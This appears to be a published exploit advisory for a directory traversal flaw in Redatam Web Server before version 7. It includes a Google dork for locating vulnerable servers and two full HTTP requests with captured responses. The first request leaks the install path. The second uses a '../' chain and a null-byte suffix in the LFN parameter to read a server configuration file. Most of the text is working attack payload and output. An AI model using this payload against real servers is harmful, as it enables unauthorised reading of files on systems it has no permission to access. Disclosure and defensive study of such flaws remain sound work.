Redatam Web Server prior to version 7 suffer from a directory traversal vulnerability.
0584808e1c49454251c2d5a7207ce5ef# Exploit Title: Redatam Web Server < 7 - Directory Traversal
# Google Dork: inurl: /redbin/rpwebutilities.exe/
# Date: 2018-06-18
# Exploit Author: Berk Dusunur
# Vendor Homepage: http://redatam.org/redatam/en/index.html
# Software Link: https://www.cepal.org/en/topics/redatam/download-redatam
# Version: before V6
# Tested on: Pardus Windows AppServ
# CVE : N/A
# Proof of Concept
# Redatam web server windows server running LFN parameter affected by directory traversal
# Making a wrong request causes directory leak
# Request
GET /redbin/rpwebutilities.exe/text?LFN=blablabla%00.htm&TYPE=TMP HTTP/1.1
Host: 192.168.1.104
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
# Response
HTTP/1.1 500 Internal Server Error
Date: Mon, 18 Jun 2018 10:04:44 GMT
Server: Apache/2.4.23 (Win32) PHP/5.6.25
Content:
Content-Length: 416
Connection: close
Content-Type: text/html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<heading/>
<body>
<h1>R+SP WebUtilities Exception</h1>
<p>Error Number [401]</p>
<p><b>Error Message</b></p>
<p>File not found in folder [C:\wamp\apps\redatam\redbin\] - [blablabla]
Script directory /wamp/apps/redatam/redbin/
# Request 2
GET
/redbin/rpwebutilities.exe/text?LFN=../../../../../../../../../../../../../../../../wamp/apps/redatam/redbin/prt/webservermain.inl%00.htm&TYPE=TMP
HTTP/1.1
Host: 192.168.1.104
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
# Response 2
HTTP/1.1 200 OK
Date: Mon, 18 Jun 2018 10:11:44 GMT
Server: Apache/2.4.23 (Win32) PHP/5.6.25
Title:
../../../../../../../../../../../../../../../../wamp/apps/redatam/redbin/prt/webservermain.inl
Content:
Content-Length: 2319
Connection: close
Content-Type: text/html; charset=utf-8
[STRUCTURE]
USERCONTROL=YES
GROUPALIGN=LEFT
SERVERTIMEOUT=1800
HTMLPATH=RpSite\
PORTALTITLE=CELADE/CEPAL, NaASSAues Unidas
PORTALSUBTITLE=Procesamiento En-LAnea com REDATAM
//PORTALCENTERIMAGE=/redatam/images/LogoRedatam7_520x390.png
//PORTALBACKGROUNDHEADERIMAGE=
//PORTALBACKGROUNDINDEXIMAGE=
//PORTALBACKGROUNDOUTPUTIMAGE=